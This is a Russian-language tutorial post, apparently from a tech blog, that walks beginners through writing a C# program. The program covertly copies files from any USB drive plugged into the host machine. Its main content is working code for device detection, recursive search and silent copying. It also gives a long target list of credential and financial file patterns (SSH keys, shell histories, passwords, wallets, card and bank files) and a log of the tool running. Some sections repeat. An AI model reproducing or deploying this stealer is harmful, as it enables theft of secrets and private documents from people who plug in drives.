Задача:
Написать ПО несанкционированно копирующее файлы с легально подключенного USB — устройства, не требующее установки и прав администратора.
Т.е. легальное ПО, которое может быть использовано злоумышленниками для нанесения вреда (согласно трактовке одного из антивирусных средств).

Аудитория:
Новички в программировании и просто интересующиеся.
Пример применения ПО злоумышленником:
Пишем программу:
1. Ловим подключение USB-устройства
2. Выбираем форматы файлов для поиска (в индивидуальной последовательности — поскольку каждый сам решает какие типы файлов копировать в первую очередь)
3. Ищем файлы на USB-носителе
5. Копируем файлы с подключенного USB-носителя к себе на компьютер
6. Ведение лога
Добавив лог, легко можно увидеть примерную структуру папок на USB-устройстве и что скопировано:
7. Копирование данных с внешних HDD оставлю в качестве «домашней работы»
Выводы:
Не храните конфиденциальную информацию на съемных USB-устройствах и не подключайте их к не доверенным устройствам.
Исходные коды и релиз
www.virustotal.com: 1/56 (антивирус «VBA32» определяет как «Trojan.MSIL.gen.11»).
Написать ПО несанкционированно копирующее файлы с легально подключенного USB — устройства, не требующее установки и прав администратора.
Т.е. легальное ПО, которое может быть использовано злоумышленниками для нанесения вреда (согласно трактовке одного из антивирусных средств).

Аудитория:
Новички в программировании и просто интересующиеся.
Пример применения ПО злоумышленником:
- 1. Работник просит другого работника скопировать документы с флэшки с какой-либо целью. Теперь эти и другие документы в руках злодея;
- 2. Необходимо распечатать диплом, т.к. дома принтера нет, печатаем в ближайшем копировальном центре. Теперь диплом и другая информация в руках работника копировального центра.
Пишем программу:
1. Ловим подключение USB-устройства
Переопределением метода WndProc
protected override void WndProc(ref Message m)//Обнаружен съемный носитель:
base.WndProc(ref m);
const int WM_DeviceChange = 0x219; //что-то связанное с usb
const int DBT_DEVICEARRIVAL = 0x8000; //устройство подключено
const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // устройство отключено
if (m.Msg == WM_DeviceChange)
Thread T = new Thread(Вредоносная_функция);
if (m.WParam.ToInt32() == DBT_DEVICEARRIVAL)
T.Start();//новое usb подключено
if (m.WParam.ToInt32() == DBT_DEVICEREMOVECOMPLETE)
T.Abort();// usb отключено
2. Выбираем форматы файлов для поиска (в индивидуальной последовательности — поскольку каждый сам решает какие типы файлов копировать в первую очередь)
Типы файлов, записанные, например, в (listBox2):
*.ppk
*.pref
*.remmina
*.sh
*.txt
*.хml*
*access*.txt
*account*
*accs*.txt
*admin*.txt
*amazon*.txt
*authorized_keys*
*balance*.txt
*bash_history*
*billing*.txt
*btc*.txt*brute*
*c6ep*.txt
*cepвep*
*codes*
*connect*
*contacts*.txt
*database*
*dedic*.txt
*dedik*.txt
*domain*.txt
*ftp*.txt
*hack*.txt
*host*.txt
*icq*.txt
*id_*sa*
*id_dsa*
*id_rsa*
*known_hosts*
*ksh_history*
*login*
*mail*.txt
*merchant*.txt
*money*
*myadmin*.txt
*mysql_history*
*nano_history*
*parol*
*pass*
*pentest*
*pgsql_history*
*pma*.txt
*pref*
*qwerty*
*rdp*.txt
*remmina*
*root*
*serv*.txt
*sh_history*
*srv*.txt
*todo*.txt
*userid*
*users*
*vds*.txt
*vpn*.txt
*vps*.txt
*vuln*.txt
*wallet*
*webmon*
*zsh_history*
*акк*.txt
*аккаунт*
*баги*
*баланс*
*баланс*.txt
*банк*.txt
*бтц*
*важн*.txt
*вдс*.txt
*вебман*
*вебман*.txt
*взлом*
*впн*.txt
*впс*.txt
*данны*
*деньг*
*доступ*
*задачи*
*задачи*.txt
*инфо*.txt
*картон*.txt
*карты*.txt
*ключ*.txt
*коин*
*кош*.txt
*кредит*
*логин*.txt
*парол*
*почта*
*приват*
*рут*.txt
*секрет*
*секрет*.txt
*сервер*
*серт*.txt
*смс*.txt
*сокс*.txt
*счет*.txt
*тест*.txt
*туду*.txt
*уязвим*
*фтп*.txt
*хак*.txt
*шел*.txt
*шоп*.txt
*эккаунт*
*эксплоит*
access.txt
adm.txt
all.txt
bill.txt
card.txt
cards.txt
cc.txt
centos.txt
data.txt
ded.txt
ftps.txt
full.txt
hdd.txt
host.txt
id.txt
info.txt
key.txt
linux.txt
mail.txt
mails.txt
pern*.txt
skype*.txt
sql*.txt
ssh*.txt
sys.txt
tconn.conf
toor.txt
ubuntu.txt
usb.txt
user.txt
virtual.txt
рег*.txt
сбер*.txt
ссх*.txt
*парол*
*pass*
*pwd*
*login*
*логин*
*vk.com*
вконтакте
*почты*
*.xls*
*.doc*
*.rtf
*.JPG
*.jpeg
*.pgf
*.bmp
*.cr2
*config*
*пинкод*
*банк*
3. Ищем файлы на USB-носителе
Функция поиска:
private ArrayList F;// Список найденных файлов
private void Вредоносная_функция()
Thread.Sleep(4000);//засыпаем чтобы дать носителю правильно определиться в операционной системе
foreach (var dInfo in DriveInfo.GetDrives())
if (dInfo.IsReady && dInfo.DriveType == DriveType.Removable)
for (int i = 0; i < listBox2.Items.Count; i++)
{
foreach (string file in Directory.GetFiles(@dInfo.Name,
listBox2.Items[i].ToString(),
SearchOption.AllDirectories))
F.Add(new FILEclass(file, Path.GetFileName(file)));
}
5. Копируем файлы с подключенного USB-носителя к себе на компьютер
Функция копирования
private void cheat()
...ищем файлы...
//Создаем папку куда копировать
Directory.CreateDirectory("Liked " + DateTime.Now.Year +
"." + DateTime.Now.Month +
"." + DateTime.Now.Day);
int copied = 0; int copy_err = 0; int exist = 0;
for (int i = 0; i < F.Count; i++)
{
string sourceName = Path.GetFileName((((FILEclass)(F[i])).Fullname));
string source = ((FILEclass)(F[i])).Fullname;
string dest = Dir + @"\" + ((FILEclass)(F[i])).name;
string destName = Path.GetFileName(Dir + @"\" + ((FILEclass)(F[i])).name);
if (sourceName.Equals(destName))
if (File.Exists(source))
if (File.Exists(dest))
try
{
if (FileCompare(source, dest)) exist++; //такой файл уже есть
else//файла нет - несанкционированно копируем
File.Copy(source, Dir + @"\" + Timenow() +
"s. " + ((FILEclass)(F[i])).name);
copied++;
}
catch{copy_err++; }//на случай если USB-устройство извлекут
else
{
try
File.Copy(source, dest);
catch { copy_err++; }
copied++;
}
else
copy_err++;
}
Функция сравнения двух файлов
//https://support.microsoft.com/ru-ru/kb/320348
private bool FileCompare(string file1, string file2)
int file1byte;
int file2byte;
FileStream fs1;
FileStream fs2;
if (file1 == file2)
return true;//на сравнение передан один и тот же файл
fs1 = new FileStream(file1, FileMode.Open);
fs2 = new FileStream(file2, FileMode.Open);
if (fs1.Length != fs2.Length)
fs1.Close();
fs2.Close();
return false;
do
{ //размер файлов совпал, значит сравним файлы по битам
file1byte = fs1.ReadByte();
file2byte = fs2.ReadByte();
}
while ((file1byte == file2byte) && (file1byte != -1));
fs1.Close();
fs2.Close();
return ((file1byte - file2byte) == 0);
6. Ведение лога
Добавив лог, легко можно увидеть примерную структуру папок на USB-устройстве и что скопировано:
14.08.2015 21:25:13 ============================================= Программа запущена
14.08.2015 21:25:17 Начат поиск файлов
14.08.2015 21:25:18 Найден файл F:\123hack.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\App1.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\LanguageQualifiers.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\App1\App1\obj\Debug\ProjectArchitectures.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\Cisco Mars incident parser\Cisco Mars incident parser\obj\Debug\Cisco Mars incident parser.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\dots\dots\obj\Debug\dots.csproj.FileListAbsolute.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Assets\AboutAssets.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\genovirus\genovirus\Resources\AboutResources.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug\ResourceTypeUsage.txt
14.08.2015 21:25:18 Найден файл F:\В разработке\еще\TheGenoVirus\TheGenoVirus\obj\Debug
7. Копирование данных с внешних HDD оставлю в качестве «домашней работы»
Выводы:
Не храните конфиденциальную информацию на съемных USB-устройствах и не подключайте их к не доверенным устройствам.
Исходные коды и релиз
www.virustotal.com: 1/56 (антивирус «VBA32» определяет как «Trojan.MSIL.gen.11»).
Only registered users can participate in poll. Log in, please.
Было полезно?
50.73% Да173
49.27% Нет168
341 users voted. 121 users abstained.